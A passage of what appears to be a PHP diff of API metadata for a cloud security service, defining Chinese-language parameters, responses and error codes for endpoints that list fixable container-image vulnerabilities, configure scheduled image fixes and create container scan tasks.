'要查询的漏洞修复必要性等级。多个等级之间使用半角逗号（,）分隔。取值：'."\n" + ."\n" + .'- **asap**：高'."\n" + .'- **later**：中'."\n" + .'- **nntf**：低', + 'type' => 'string', + 'required' => false, + 'example' => 'asap,later,nntf', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞是否处理。取值：'."\n" + ."\n" + .'**y**：已处理'."\n" + .'**n**：未处理', + 'type' => 'string', + 'required' => false, + 'example' => 'n', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。起始值为1，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示每页数据的最大条数。默认值为20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'RepoRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的地域ID。取值：'."\n" + .'- **cn-beijing**：华北2（北京）'."\n" + .'- **cn-zhangjiakou**：华北3（张家口）'."\n" + .'- **cn-hangzhou**：华东1（杭州）'."\n" + .'- **cn-shanghai**：华东2（上海）'."\n" + .'- **cn-shenzhen**：华南1（深圳）'."\n" + .'- **cn-hongkong**：中国香港'."\n" + .'- **ap-southeast-1**：新加坡'."\n" + .'- **ap-southeast-5**：印度尼西亚（雅加达）'."\n" + .'- **us-east-1**：美国（弗吉尼亚）'."\n" + .'- **us-west-1**：美国（硅谷）'."\n" + .'- **eu-central-1**：德国（法兰克福）'."\n" + .'- **eu-west-1**：英国（伦敦）', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'RepoInstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定容器镜像实例ID。'."\n" + .'> 调用容器镜像服务的[ListRepository](~~451339~~)接口，通过返回参数**InstanceId**的值可以获取容器镜像实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cri-rv4nvbv8iju4****', + ], + ], + [ + 'name' => 'RepoId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库ID。'."\n" + .'> 调用容器镜像服务的[ListRepository](~~145293~~)接口，通过返回参数**RepoId**的值可以获取镜像仓库ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'crr-avo7qp02simz2njo', + ], + ], + [ + 'name' => 'RepoName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库名称。'."\n" + .'> 支持模糊搜索。', + 'type' => 'string', + 'required' => false, + 'example' => 'digital-account', + ], + ], + [ + 'name' => 'RepoNamespace', + 'in' => 'query', + 'schema' => [ + 'description' => '指定镜像仓库命名空间名称。'."\n" + .'> 支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => 'ns-digital-dev', + ], + ], + [ + 'name' => 'RepoName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库名称。'."\n" + .'> 支持模糊搜索。', + 'type' => 'string', + 'required' => false, + 'example' => 'digital-account', + ], + ], + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库的地域ID。取值：'."\n" + .'- **cn-beijing**：华北2（北京）'."\n" + .'- **cn-zhangjiakou**：华北3（张家口）'."\n" + .'- **cn-hangzhou**：华东1（杭州）'."\n" + .'- **cn-shanghai**：华东2（上海）'."\n" + .'- **cn-shenzhen**：华南1（深圳）'."\n" + .'- **cn-hongkong**：中国香港'."\n" + .'- **ap-southeast-1**：新加坡'."\n" + .'- **ap-southeast-5**：印度尼西亚（雅加达）'."\n" + .'- **us-east-1**：美国（弗吉尼亚）'."\n" + .'- **us-west-1**：美国（硅谷）'."\n" + .'- **eu-central-1**：德国（法兰克福）'."\n" + .'- **eu-west-1**：英国（伦敦）', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定容器镜像实例ID。'."\n" + .'> 调用容器镜像服务的[ListRepository](~~451339~~)接口，通过返回参数**InstanceId**的值可以获取容器镜像实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cri-rv4nvbv8iju4****', + ], + ], + [ + 'name' => 'RepoId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库ID。'."\n" + .'> 调用容器镜像服务的[ListRepository](~~145293~~)接口，通过返回参数**RepoId**的值可以获取镜像仓库ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'crr-avo7qp02simz2njo', + ], + ], + [ + 'name' => 'Tag', + 'in' => 'query', + 'schema' => [ + 'description' => ' 容器镜像的标签。', + 'type' => 'string', + 'required' => false, + 'example' => '0.1.0', + ], + ], + [ + 'name' => 'Digest', + 'in' => 'query', + 'schema' => [ + 'description' => ' 容器镜像的唯一标识。', + 'type' => 'string', + 'required' => false, + 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c80f79959fd724a888e1187779b13****', + ], + ], + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '扫描范围。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器。', + 'type' => 'array', + 'items' => [ + 'description' => '扫描范围集合。取值：'."\n" + ."\n" + .'- **image**：镜像。'."\n" + .'- **container**：容器', + 'type' => 'string', + 'required' => false, + 'example' => 'image,container', + ], + 'required' => false, + 'maxItems' => 2, + ], + ], + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器集群名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas-test-cnnf', + ], + ], + [ + 'name' => 'ContainerId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'required' => false, + 'example' => '48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f92155709d5a****', + ], + ], + [ + 'name' => 'Pod', + 'in' => 'query', + 'schema' => [ + 'description' => '容器组名称。', + 'type' => 'string', + 'required' => false, + 'example' => '22222-7xsqq'."\n", + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => '集群命名空间。'."\n" + .'> 您可通过调用[GetOpaClusterNamespaceList](~~GetOpaClusterNamespaceList~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'default', + ], + ], + [ + 'name' => 'Image', + 'in' => 'query', + 'schema' => [ + 'description' => '容器镜像名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-****'."\n", + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => 'PlainResult>', + 'type' => 'object', + 'properties' => [ + 'VulRecords' => [ + 'description' => '查询到的漏洞信息。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的漏洞信息。', + 'type' => 'object', + 'properties' => [ + 'CanUpdate' => [ + 'description' => '导致漏洞的软件包是否支持通过云安全中心升级。取值：'."\n" + ."\n" + .'- **true**：支持升级'."\n" + .'- **false**：不支持升级', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Type' => [ + 'description' => '漏洞类型。取值包括：'."\n" + .'- **cve**：系统漏洞'."\n" + .'- **sca**：应用漏洞', + 'type' => 'string', + 'example' => 'cve', + ], + 'Status' => [ + 'description' => '漏洞的修复状态。取值：'."\n" + .'- **1**：未修复'."\n" + .'- **4**：修复中'."\n" + .'- **7**：修复成功', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ModifyTs' => [ + 'description' => '修改漏洞状态时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1620404763000', + ], + 'ImageDigest' => [ + 'description' => ' 容器镜像的唯一标识。', + 'type' => 'string', + 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****', + ], + 'PrimaryId' => [ + 'description' => '漏洞的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '782661', + ], + 'Tag' => [ + 'description' => '容器镜像的标签。', + 'type' => 'string', + 'example' => 'latest', + ], + 'RepoNamespace' => [ + 'description' => '容器镜像仓库的命名空间。', + 'type' => 'string', + 'example' => '3rdparty', + ], + 'RepoName' => [ + 'description' => ' 容器镜像仓库的名称。', + 'type' => 'string', + 'example' => 'varnish', + ], + 'Related' => [ + 'description' => '漏洞关联的CVE列表，有多个取值时用半角逗号（,）分隔。', + 'type' => 'string', + 'example' => 'CVE-2017-7518,CVE-2017-12188', + ], + 'FirstTs' => [ + 'description' => '首次发现漏洞的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1620752053000', + ], + 'LastTs' => [ + 'description' => '最后发现漏洞的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1620404763000', + ], + 'Necessity' => [ + 'description' => '漏洞修复必要性等级。取值：'."\n" + ."\n" + .'- **asap**：高'."\n" + .'- **later**：中'."\n" + .'- **nntf**：低'."\n" + ."\n" + .'> 建议您尽快修复必要性等级为**高**的漏洞。', + 'type' => 'string', + 'example' => 'asap,later,nntf', + ], + 'Uuid' => [ + 'description' => '容器镜像的UUID。', + 'type' => 'string', + 'example' => '0004a32a0305a7f6ab5ff9600d47****', + ], + 'AliasName' => [ + 'description' => '漏洞的别名。', + 'type' => 'string', + 'example' => 'CVE-2018-25010:libwebp up to 1.0.0 ApplyFilter out-of-bounds read', + ], + 'Name' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'debian:10:CVE-2019-9893', + ], + 'Layers' => [ + 'description' => '容器镜像层级的列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器镜像层级的列表。', + 'type' => 'string', + 'example' => '["8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****"]', + ], + ], + 'ExtendContentJson' => [ + 'description' => '漏洞信息的扩展内容。', + 'type' => 'object', + 'properties' => [ + 'OsRelease' => [ + 'description' => ' 容器镜像对应的操作系统发行的版本。', + 'type' => 'string', + 'example' => '10.9', + ], + 'Os' => [ + 'description' => '操作系统名称。', + 'type' => 'string', + 'example' => 'debian', + ], + 'RpmEntityList' => [ + 'description' => 'RPM包列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'RPM包列表。', + 'type' => 'object', + 'properties' => [ + 'MatchList' => [ + 'description' => '命中规则。', + 'type' => 'array', + 'items' => [ + 'description' => '命中规则。', + 'type' => 'string', + 'example' => '["libstdc++ version less than 8.5.0-4.el8_5"]', + ], + ], + 'Layer' => [ + 'description' => '容器镜像层级的摘要的SHA256值。', + 'type' => 'string', + 'example' => 'b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1****', + ], + 'FullVersion' => [ + 'description' => '软件包的完整版本号。'."\n", + 'type' => 'string', + 'example' => '3.10.0-693.2.2.el7', + ], + 'Version' => [ + 'description' => '软件包的版本号。'."\n", + 'type' => 'string', + 'example' => '3.10.0', + ], + 'MatchDetail' => [ + 'description' => '漏洞命中详细信息。', + 'type' => 'string', + 'example' => 'python-perf version less than 0:3.10.0-693.21.1.el7', + ], + 'Path' => [ + 'description' => '存在漏洞的软件所在路径。', + 'type' => 'string', + 'example' => '/usr/lib64/python2.7/site-packages', + ], + 'Name' => [ + 'description' => '软件包的名称。'."\n", + 'type' => 'string', + 'example' => 'python-perf', + ], + 'UpdateCmd' => [ + 'description' => '漏洞的修复命令。'."\n", + 'type' => 'string', + 'example' => 'apt-get update && apt-get install libseccomp2 --only-upgrade', + ], + ], + ], + ], + ], + ], + 'CanFix' => [ + 'description' => '是否可控制台修复。取值：'."\n" + ."\n" + .'- **yes**：可修复'."\n" + .'- **no**：不可修复', + 'type' => 'string', + 'example' => 'yes', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c08d5fc1a329a4b88950a253d082f1****'."\n", + ], + 'ClusterName' => [ + 'description' => '集群名称。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'docker-law'."\n", + ], + 'Pod' => [ + 'description' => '容器组名称。', + 'type' => 'string', + 'example' => '22222-7xsqq'."\n", + ], + 'Namespace' => [ + 'description' => '命名空间。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'test-002'."\n", + ], + 'Image' => [ + 'description' => '镜像名称。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****'."\n", + ], + 'ContainerId' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'example' => '04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****'."\n", + ], + 'InternetIp' => [ + 'description' => '资产公网IP。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '资产私网IP。', + 'type' => 'string', + 'example' => '172.19.XX.XX', + ], + 'InstanceName' => [ + 'description' => '实例名称。'."\n" + ."\n" + .'长度限制3~64个字符，可以是中文、英文、数字、短划线（-）以及下划线（_）。', + 'type' => 'string', + 'example' => 'testInstance', + ], + 'TargetId' => [ + 'description' => '扫描对象ID。', + 'type' => 'string', + 'example' => '300269', + ], + 'TargetName' => [ + 'description' => '扫描对象名称。', + 'type' => 'string', + 'example' => 'source-test-obj-XM0Ma', + ], + 'MaliciousSource' => [ + 'description' => '恶意文件来源。取值：'."\n" + ."\n" + .'- **agentless**：无代理检测'."\n" + .'- **image**：镜像'."\n" + .'- **container**：容器', + 'type' => 'string', + 'example' => 'agentless', + ], + 'TargetType' => [ + 'description' => '扫描对象类型。取值：'."\n" + ."\n" + .'- **IMAGE**：容器镜像。'."\n" + .'- **ECS_IMAGE**：主机镜像。'."\n" + .'- **ECS_SNAPSHOT**：快照', + 'type' => 'string', + 'example' => 'ECS_IMAGE', + ], + 'ScanTime' => [ + 'description' => '扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649814050000', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '请求ID。', + 'type' => 'string', + 'example' => '1408FDB3-46F4-513C-9918-FE7D356DF048', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"VulRecords\\": [\\n {\\n \\"CanUpdate\\": true,\\n \\"Type\\": \\"cve\\",\\n \\"Status\\": 1,\\n \\"ModifyTs\\": 1620404763000,\\n \\"ImageDigest\\": \\"8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****\\",\\n \\"PrimaryId\\": 782661,\\n \\"Tag\\": \\"latest\\",\\n \\"RepoNamespace\\": \\"3rdparty\\",\\n \\"RepoName\\": \\"varnish\\",\\n \\"Related\\": \\"CVE-2017-7518,CVE-2017-12188\\",\\n \\"FirstTs\\": 1620752053000,\\n \\"LastTs\\": 1620404763000,\\n \\"Necessity\\": \\"asap,later,nntf\\",\\n \\"Uuid\\": \\"0004a32a0305a7f6ab5ff9600d47****\\",\\n \\"AliasName\\": \\"CVE-2018-25010:libwebp up to 1.0.0 ApplyFilter out-of-bounds read\\",\\n \\"Name\\": \\"debian:10:CVE-2019-9893\\",\\n \\"Layers\\": [\\n \\"[\\\\\\"8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****\\\\\\"]\\"\\n ],\\n \\"ExtendContentJson\\": {\\n \\"OsRelease\\": \\"10.9\\",\\n \\"Os\\": \\"debian\\",\\n \\"RpmEntityList\\": [\\n {\\n \\"MatchList\\": [\\n \\"[\\\\\\"libstdc++ version less than 8.5.0-4.el8_5\\\\\\"]\\"\\n ],\\n \\"Layer\\": \\"b1f5b9420803ad0657cf21566e3e20acc08581e7f22991249ef3aa80b8b1****\\",\\n \\"FullVersion\\": \\"3.10.0-693.2.2.el7\\",\\n \\"Version\\": \\"3.10.0\\",\\n \\"MatchDetail\\": \\"python-perf version less than 0:3.10.0-693.21.1.el7\\",\\n \\"Path\\": \\"/usr/lib64/python2.7/site-packages\\",\\n \\"Name\\": \\"python-perf\\",\\n \\"UpdateCmd\\": \\"apt-get update && apt-get install libseccomp2 --only-upgrade\\"\\n }\\n ]\\n },\\n \\"CanFix\\": \\"yes\\",\\n \\"ClusterId\\": \\"c08d5fc1a329a4b88950a253d082f1****\\\\n\\",\\n \\"ClusterName\\": \\"docker-law\\\\n\\",\\n \\"Pod\\": \\"22222-7xsqq\\\\n\\",\\n \\"Namespace\\": \\"test-002\\\\n\\",\\n \\"Image\\": \\"registry.cn-wulanchabu.aliyuncs.com/sas_test/huxin-test-001:nuxeo6-conta****\\\\n\\",\\n \\"ContainerId\\": \\"04d20e98c8e2c93b7b864372084320a15a58c8671e53c972ce3a71d9c163****\\\\n\\",\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"IntranetIp\\": \\"172.19.XX.XX\\",\\n \\"InstanceName\\": \\"testInstance\\",\\n \\"TargetId\\": \\"300269\\",\\n \\"TargetName\\": \\"source-test-obj-XM0Ma\\",\\n \\"MaliciousSource\\": \\"agentless\\",\\n \\"TargetType\\": \\"ECS_IMAGE\\",\\n \\"ScanTime\\": 1649814050000\\n }\\n ],\\n \\"RequestId\\": \\"1408FDB3-46F4-513C-9918-FE7D356DF048\\"\\n}","type":"json"}]', + 'title' => '查询可修复漏洞列表', + ], + 'ModifyImageFixCycleConfig' => [ + 'summary' => '修改镜像定时修复配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '165925', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ImageFixSwitch', + 'in' => 'formData', + 'schema' => [ + 'description' => '镜像定时修复开关。'."\n" + ."\n" + .'- **on**：打开。'."\n" + .'- **off**：关闭。', + 'type' => 'string', + 'required' => false, + 'example' => 'on', + ], + ], + [ + 'name' => 'ImageFixCycle', + 'in' => 'formData', + 'schema' => [ + 'description' => '定时修复周期。单位，天。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '7', + ], + ], + [ + 'name' => 'ImageFixTarget', + 'in' => 'formData', + 'schema' => [ + 'description' => '镜像定时修复的范围。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **type**：目标类型，固定为repo'."\n" + .'- **target**：目标内容，格式：命名空间/镜像仓', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"type\\":\\"repo\\",\\"target\\":[\\"cdp-uat/zentao\\",\\"qa-dac/yyuan9\\",\\"cafdms-qa/xxl-job-admin\\"]}', + ], + ], + [ + 'name' => 'ImageTimeRange', + 'in' => 'formData', + 'schema' => [ + 'description' => '镜像有过修改的时间范围。单位，天。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '30', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回的处理结果。'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '请求ID。', + 'type' => 'string', + 'example' => 'F7A4DF7E-57A4-5BBF-8290-223754AD****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"F7A4DF7E-57A4-5BBF-8290-223754AD****\\"\\n}","type":"json"}]', + 'title' => '修改镜像定时修复配置', + ], + 'DescribeImageFixCycleConfig' => [ + 'summary' => '查询镜像修复定时配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'ImageFixSwitch' => [ + 'description' => '镜像定时修复开关。'."\n" + ."\n" + .'- **on**：打开。'."\n" + .'- **off**：关闭。', + 'type' => 'string', + 'example' => 'on', + ], + 'ImageFixCycle' => [ + 'description' => '定时修复周期。单位，天。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'ImageFixTarget' => [ + 'description' => '镜像定时修复的范围。该参数为JSON格式，包含以下字段：'."\n" + ."\n" + .'- **type**：目标类型，固定为repo。'."\n" + .'- **target**：目标内容，格式：命名空间/镜像仓。', + 'type' => 'string', + 'example' => '{\\"type\\":\\"repo\\",\\"target\\":[\\"qa-dac/yyuan9\\",\\"cdp-uat/zentao\\",\\"cafdms-qa/xxl-job-admin\\",\\"cafdms-qa/utils/jdk\\",\\"cafmfbi/ui\\",\\"cdp-uat/tradingdesk-webapp\\"]}', + ], + 'ImageTimeRange' => [ + 'description' => '镜像有过修改的时间范围。单位，天。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + ], + ], + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0D****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ImageFixSwitch\\": \\"on\\",\\n \\"ImageFixCycle\\": 7,\\n \\"ImageFixTarget\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"target\\\\\\\\\\\\\\":[\\\\\\\\\\\\\\"qa-dac/yyuan9\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"cdp-uat/zentao\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"cafdms-qa/xxl-job-admin\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"cafdms-qa/utils/jdk\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"cafmfbi/ui\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"cdp-uat/tradingdesk-webapp\\\\\\\\\\\\\\"]}\\",\\n \\"ImageTimeRange\\": 30\\n },\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0D****\\"\\n}","type":"json"}]', + 'title' => '查询镜像修复定时配置', + ], + 'CreateContainerScanTaskByAppName' => [ + 'summary' => '创建appNames维度的容器运行时扫描任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '166115', + 'abilityTreeNodes' => [ + 'FEATUREsasZLVTBH', + ], + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'title' => '集群id', + 'description' => '集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cfb7a55a81f7246b5ac18845ea79a****', + ], + ], + [ + 'name' => 'AppNames', + 'in' => 'query', + 'schema' => [ + 'description' => '容器应用名。', + 'type' => 'string', + 'required' => false, + 'example' => 'app-centos-01', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '调用成功时，返回的数据。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'title' => '任务id', + 'description' => '扫描任务的ID。', + 'type' => 'string', + 'example' => 'fc98d58eb56f699d49bf7ebbd6d7****', + ], + 'TotalCount' => [ + 'title' => '总任务数量', + 'description' => '扫描容器的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'FinishCount' => [ + 'title' => '完成数量', + 'description' => '已完成扫描的容器的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'CollectTime' => [ + 'title' => '采集时间.', + 'description' => '采集镜像信息的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1644286364150', + ], + 'ExecTime' => [ + 'title' => '任务运行时间.', + 'description' => '扫描任务开始运行的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1644286364150', + ], + 'Status' => [ + 'title' => '任务状态', + 'description' => '扫描任务的状态。取值：'."\n" + ."\n" + .'- **INIT**：初始化中。'."\n" + .'- **PRE_ANALYZER**：预分析中。'."\n" + .'- **SUCCESS**：执行成功。'."\n" + .'- **FAIL**：执行失败。', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'Progress' => [ + 'title' => '任务进度', + 'description' => '扫描任务进度的百分比。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Result' => [ + 'title' => '任务结果', + 'description' => '扫描任务的执行结果。取值：'."\n" + ."\n" + .'- **SUCCESS**：扫描任务执行成功。'."\n" + .'- **TASK\\_NOT\\_SUPPORT_REGION**：镜像在不支持扫描的地域。'."\n" + ."\n" + .'> 镜像安全扫描支持的地域，请参见本文档返回参数表后的镜像安全扫描支持的地域的表格。', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 'CanCreate' => [ + 'title' => '是否能创建新的任务', + 'description' => '是否可以继续创建扫描任务。取值：'."\n" + ."\n" + .'- **true**：可以继续创建扫描任务。'."\n" + .'- **false**：无法继续创建扫描任务。', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParameter', + 'errorMessage' => 'Illegal parameter, please check the param.', + ], + [ + 'errorCode' => 'TaskIsProcessing', + 'errorMessage' => 'Task Is Processing.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"TaskId\\": \\"fc98d58eb56f699d49bf7ebbd6d7****\\",\\n \\"TotalCount\\": 5,\\n \\"FinishCount\\": 5,\\n \\"CollectTime\\": 1644286364150,\\n \\"ExecTime\\": 1644286364150,\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Progress\\": 100,\\n \\"Result\\": \\"SUCCESS\\",\\n \\"CanCreate\\": true\\n },\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '根据应用名创建容器运行时扫描任务', + ], + 'GetCommonSwitchConfig' => [ + 'summary' => '获取通用开关配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '通用开关类型。'."\n" + .'>通过[ListClientUserDefineRules](~~ListClientUserDefineRules~~)、[ListSystemClientRules](~~ListSystemClientRules~~)接口的响应参数SwitchId可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'USER-DEFINE-RULE-SWITCH-TYPE_180****', + ], + ], + ], + 'responses' => [ 